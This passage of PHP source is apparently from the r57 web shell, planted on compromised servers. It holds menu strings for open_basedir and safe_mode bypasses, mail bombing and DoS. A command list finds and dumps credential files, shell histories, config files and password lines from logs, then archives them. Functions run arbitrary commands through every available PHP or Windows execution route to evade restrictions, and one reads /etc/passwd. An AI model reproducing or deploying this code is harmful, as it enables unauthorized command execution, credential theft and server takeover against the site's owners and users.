2677'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2678
2679'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2680
2681'eng_text125'=>'Data',
2682
2683'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2684
2685'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2686
2687'eng_text128'=>'Modify/Access file (touch)',
2688
2689'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2690
2691'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2692
2693'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2694
2695'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2696
2697'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
2698
2699'eng_text134'=>'Database-bruteforce',
2700
2701'eng_text135'=>'Dictionary',
2702
2703'eng_text136'=>'Creating evil symlink',
2704
2705'eng_text137'=>'Useful',
2706
2707'eng_text138'=>'Dangerous',
2708
2709'eng_text139'=>'Mail Bomber',
2710
2711'eng_text140'=>'DoS',
2712
2713'eng_text141'=>'Danger! Web-daemon crash possible.',
2714
2715'eng_text142'=>'Downloaders',
2716
2717'eng_text143'=>'Temp: ',
2718
2719'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
2720
2721'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
2722
2723'eng_text146'=>'Max Interation',
2724
2725'eng_text147'=>'',
2726
2727'eng_text148'=>'',
2728
2729'eng_text149'=>'',
2730
2731'eng_text150'=>'',
2732
2733'eng_err0'=>'Error! Can\'t write in file ',
2734
2735'eng_err1'=>'Error! Can\'t read file ',
2736
2737'eng_err2'=>'Error! Can\'t create ',
2738
2739'eng_err3'=>'Error! Can\'t connect to ftp',
2740
2741'eng_err4'=>'Error! Can\'t login on ftp server',
2742
2743'eng_err5'=>'Error! Can\'t change dir on ftp',
2744
2745'eng_err6'=>'Error! Can\'t sent mail',
2746
2747'eng_err7'=>'Mail send',
2748
2749);
2750
2751/*
2752
2753?????? ??????
2754
2755????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
2756
2757?? ?????? ???? ????????? ??? ???????? ???????.
2758
2759*/
2760
2761$aliases=array(
2762
2763'----------------------------------locate'=>'',
2764
2765'locate httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2766
2767'locate vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2768
2769'locate proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2770
2771'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2772
2773'locate my.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate my.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2774
2775'locate admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2776
2777'locate cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2778
2779'locate conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2780
2781'locate config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2782
2783'locate config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2784
2785'locate config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2786
2787'locate config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2788
2789'locate config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2790
2791'locate .conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2792
2793'locate .pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2794
2795'locate .sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2796
2797'locate .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".htpasswd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2798
2799'locate .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".bash_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2800
2801'locate .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".mysql_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2802
2803'locate backup files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate backup >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2804
2805'locate dump files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate dump >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2806
2807'locate priv files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate priv >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2808
2809'----------------------------------tar'=>'',
2810
2811'tar -czvf all.tgz -T '.$tempdir.'grep.txt'=>'tar -czvf all.tgz -T '.$tempdir.'grep.txt',
2812
2813'----------------------------------1'=>'',
2814
2815'locate auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2816
2817'locate access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2818
2819'locate error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2820
2821'locate auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2822
2823'locate access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2824
2825'locate error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2826
2827'locate ".log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2828
2829'----------------------------------2'=>'',
2830
2831'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2832
2833'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2834
2835'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2836
2837'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2838
2839'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2840
2841'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
2842
2843'----------------------------------find'=>'',
2844
2845'find suid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -04000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2846
2847'find suid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -04000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2848
2849'find sgid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -02000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2850
2851'find sgid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -02000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2852
2853'find all writable files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2854
2855'find all writable files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2856
2857'find all writable directories >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type d -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2858
2859'find all writable directories in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type d -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2860
2861'find all writable directories and files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2862
2863'find all writable directories and files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2864
2865'find all .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .htpasswd >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2866
2867'find all .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .bash_history >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2868
2869'find all .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .mysql_history >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2870
2871'find all .fetchmailrc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .fetchmailrc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2872
2873'find httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2874
2875'find vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2876
2877'find proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2878
2879'find admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2880
2881'find config* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "config*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2882
2883'find cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2884
2885'find conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2886
2887'find config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2888
2889'find config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2890
2891'find config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2892
2893'find config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2894
2895'find config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2896
2897'find *.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2898
2899'find *.pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2900
2901'find *.sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2902
2903'find *backup* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*backup*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2904
2905'find *dump* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*dump*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2906
2907'-----------------------------------'=>'',
2908
2909'find /var/ auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2910
2911'find /var/ access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2912
2913'find /var/ error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2914
2915'find /var/ auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2916
2917'find /var/ access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2918
2919'find /var/ error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2920
2921'find /var/ "*_log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2922
2923'find /var/ "*.log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
2924
2925'----------------------------------------------------------------------------------------------------'=>'ls -la'
2926
2927);
2928
2929$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
2930
2931$table_up2 = " ::</div></b></font></td></tr><tr><td>";
2932
2933$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
2934
2935$table_end1 = "</td></tr>";
2936
2937$arrow = " <font face=Webdings color=gray>4</font>";
2938
2939$lb = "<font color=black>[</font>";
2940
2941$rb = "<font color=black>]</font>";
2942
2943$font = "<font face=Verdana size=-2>";
2944
2945$ts = "<table class=table1 width=100% align=center>";
2946
2947$te = "</table>";
2948
2949$fs = "<form name=form method=POST>";
2950
2951$fe = "</form>";
2952
2953
2954
2955if(isset($_GET['users']))
2956
2957 {
2958
2959 if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
2960
2961 else
2962
2963 {
2964
2965 echo '<center>';
2966
2967 foreach($users as $user) { echo $user."<br>"; }
2968
2969 echo '</center>';
2970
2971 }
2972
2973 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
2974
2975 }
2976
2977
2978
2979if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
2980
2981if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
2982
2983$unix = 0;
2984
2985if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
2986
2987if(empty($dir))
2988
2989 {
2990
2991 $os = getenv('OS');
2992
2993 if(empty($os)){ $os = @php_uname(); }
2994
2995 if(empty($os)){ $os ="-"; $unix=1; }
2996
2997 else
2998
2999 {
3000
3001 if(@eregi("^win",$os)) { $unix = 0; }
3002
3003 else { $unix = 1; }
3004
3005 }
3006
3007 }
3008
3009
3010
3011if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
3012
3013 {
3014
3015 echo $head;
3016
3017 if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
3018
3019 else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
3020
3021 $sr->SearchText(0,0);
3022
3023 $res = $sr->GetResultFiles();
3024
3025 $found = $sr->GetMatchesCount();
3026
3027 $titles = $sr->GetTitles();
3028
3029 $r = "";
3030
3031 if($found > 0)
3032
3033 {
3034
3035 $r .= "<TABLE width=100%>";
3036
3037 foreach($res as $file=>$v)
3038
3039 {
3040
3041 $r .= "<TR>";
3042
3043 $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
3044
3045 $r .= (!$unix)? str_replace("/","\\",$file) : $file;
3046
3047 $r .= "</b></font></ TD>";
3048
3049 $r .= "</TR>";
3050
3051 foreach($v as $a=>$b)
3052
3053 {
3054
3055 $r .= "<TR>";
3056
3057 $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
3058
3059 $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
3060
3061 $r .= "</TR>\n";
3062
3063 }
3064
3065 }
3066
3067 $r .= "</TABLE>";
3068
3069 echo $r;
3070
3071 }
3072
3073 else
3074
3075 {
3076
3077 echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
3078
3079 }
3080
3081 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
3082
3083 die();
3084
3085 }
3086
3087
3088
3089/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/
3090
3091if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;}
3092
3093$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
3094
3095if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
3096
3097
3098
3099function ws($i)
3100
3101{
3102
3103return @str_repeat(" ",$i);
3104
3105}
3106
3107
3108
3109function ex($cfe)
3110
3111{global $unix,$tempdir;
3112
3113 $res = '';
3114
3115 if (!empty($cfe))
3116
3117 {
3118
3119 if(@function_exists('exec'))
3120
3121 {
3122
3123 @exec($cfe,$res);
3124
3125 $res = join("\n",$res);
3126
3127 }
3128
3129 elseif(@function_exists('shell_exec'))
3130
3131 {
3132
3133 $res = @shell_exec($cfe);
3134
3135 }
3136
3137 elseif(@function_exists('system'))
3138
3139 {
3140
3141 @ob_start();
3142
3143 @system('$cfe');
3144
3145 $res = @ob_get_contents();
3146
3147 @ob_end_clean();
3148
3149 }
3150
3151 elseif(@function_exists('passthru'))
3152
3153 {
3154
3155 @ob_start();
3156
3157 @passthru($cfe);
3158
3159 $res = @ob_get_contents();
3160
3161 @ob_end_clean();
3162
3163 }
3164
3165 elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
3166
3167 {
3168
3169 $res = "";
3170
3171 if(@function_exists('fread') && @function_exists('feof')){
3172
3173 while(!@feof($f)) { $res .= @fread($f,1024); }
3174
3175 }else if(@function_exists('fgets') && @function_exists('feof')){
3176
3177 while(!@feof($f)) { $res .= @fgets($f,1024); }
3178
3179 }
3180
3181 @pclose($f);
3182
3183 }
3184
3185 elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
3186
3187 {
3188
3189 $res = "";
3190
3191 if(@function_exists('fread') && @function_exists('feof')){
3192
3193 while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
3194
3195 }else if(@function_exists('fgets') && @function_exists('feof')){
3196
3197 while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
3198
3199 }
3200
3201 @proc_close($f);
3202
3203 }
3204
3205 }else{$res = safe_ex($cfe);}
3206
3207 return htmlspecialchars($res);
3208
3209}
3210
3211
3212
3213
3214
3215function safe_ex($cfe)
3216
3217{global $unix,$tempdir;
3218
3219 $res = '';
3220
3221 if (!empty($cfe))
3222
3223 {
3224
3225 if(extension_loaded('perl')){
3226
3227 @ob_start();
3228
3229 $safeperl=new perl();
3230
3231 $safeperl->eval("system('$cfe')");
3232
3233 $res = @ob_get_contents();
3234
3235 @ob_end_clean();
3236
3237 }
3238
3239 elseif(!$unix && extension_loaded('ffi'))
3240
3241 {
3242
3243 $output=$tempdir.uniqid('NJ');
3244
3245 $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
3246
3247 if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);}
3248
3249 else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);}
3250
3251 while(!@file_exists($output))sleep(1);
3252
3253 $res=moreread($output);
3254
3255 @unlink($output);
3256
3257 }
3258
3259 elseif(!$unix && extension_loaded('win32service'))
3260
3261 {
3262
3263 $output=$tempdir.uniqid('NJ');
3264
3265 $n_ser=uniqid('NJ');
3266
3267 if(!@function_exists('escapeshellarg'))
3268
3269 {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));}
3270
3271 else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));}
3272
3273 @win32_start_service($n_ser);
3274
3275 @win32_stop_service($n_ser);
3276
3277 @win32_delete_service($n_ser);
3278
3279 while(!@file_exists($output))sleep(1);
3280
3281 $res=moreread($output);
3282
3283 @unlink($output);
3284
3285 }
3286
3287 elseif(!$unix && extension_loaded("win32std"))
3288
3289 {
3290
3291 $output=$tempdir.uniqid('NJ');
3292
3293 if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
3294
3295 else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
3296
3297 while(!@file_exists($output))sleep(1);
3298
3299 $res=moreread($output);
3300
3301 @unlink($output);
3302
3303 }
3304
3305 elseif(!$unix)
3306
3307 {
3308
3309 $output=$tempdir.uniqid('NJ');
3310
3311 $suntzu = new COM("WScript.Shell");
3312
3313 if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
3314
3315 else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
3316
3317 $res=moreread($output);
3318
3319 @unlink($output);
3320
3321 }
3322
3323 elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
3324
3325 {
3326
3327 $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
3328
3329 $output=$tempdir.uniqid('pcntl');
3330
3331 $pid = @pcntl_fork();
3332
3333 if ($pid == -1) {
3334
3335 $res .= '[-] Could not children fork. Exit';
3336
3337 } else if ($pid) {
3338
3339 if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
3340
3341 else {$res .= '[-] Error. Command incorrect.';}
3342
3343 } else {
3344
3345 $cfe = array(" -e 'system(\"$cfe > $output\")'");
3346
3347 if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
3348
3349 if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
3350
3351 die();
3352
3353 }
3354
3355 $res=moreread($output);
3356
3357 @unlink($output);
3358
3359 }
3360
3361/* elseif(1)
3362
3363 {
3364
3365
3366
3367 }
3368
3369*/
3370
3371 }
3372
3373 return htmlspecialchars($res);
3374
3375}
3376
3377
3378
3379function get_users($filename)
3380
3381{
3382
3383 $users = $rows = array();
3384
3385 $rows=@explode("\n",moreread($filename));
3386
3387 if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
3388
3389 if(!$rows[0]) return 0;
3390
3391 foreach ($rows as $string)
3392
3393 {
3394
3395 $user = @explode(":",trim($string));
3396
3397 if(substr($string,0,1)!='#') array_push($users,$user[0]);
3398
3399 }
3400
3401 return $users;
3402
3403}
3404
3405function err($n,$txt='')
3406
3407{
3408
3409echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';
3410
3411echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
3412
3413if(!empty($txt)) { echo " $txt"; }
3414
3415echo '</b></div></font></td></tr></table>';
3416
3417return null;
3418
3419}
3420
3421function perms($mode)
3422
3423{
3424
3425if (!$GLOBALS['unix']) return 0;
3426
3427if( $mode & 0x1000 ) { $type='p'; }
3428
3429else if( $mode & 0x2000 ) { $type='c'; }
3430
3431else if( $mode & 0x4000 ) { $type='d'; }
3432
3433else if( $mode & 0x6000 ) { $type='b'; }
3434
3435else if( $mode & 0x8000 ) { $type='-'; }
3436
3437else if( $mode & 0xA000 ) { $type='l'; }
3438
3439else if( $mode & 0xC000 ) { $type='s'; }
3440
3441else $type='u';
3442
3443$owner["read"] = ($mode & 00400) ? 'r' : '-';
3444
3445$owner["write"] = ($mode & 00200) ? 'w' : '-';
3446
3447$owner["execute"] = ($mode & 00100) ? 'x' : '-';
3448
3449$group["read"] = ($mode & 00040) ? 'r' : '-';
3450
3451$group["write"] = ($mode & 00020) ? 'w' : '-';
3452
3453$group["execute"] = ($mode & 00010) ? 'x' : '-';
3454
3455$world["read"] = ($mode & 00004) ? 'r' : '-';
3456
3457$world["write"] = ($mode & 00002) ? 'w' : '-';
3458
3459$world["execute"] = ($mode & 00001) ? 'x' : '-';
3460
3461if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
3462
3463if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
3464
3465if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
3466
3467$s=sprintf("%1s", $type);
3468
3469$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
3470
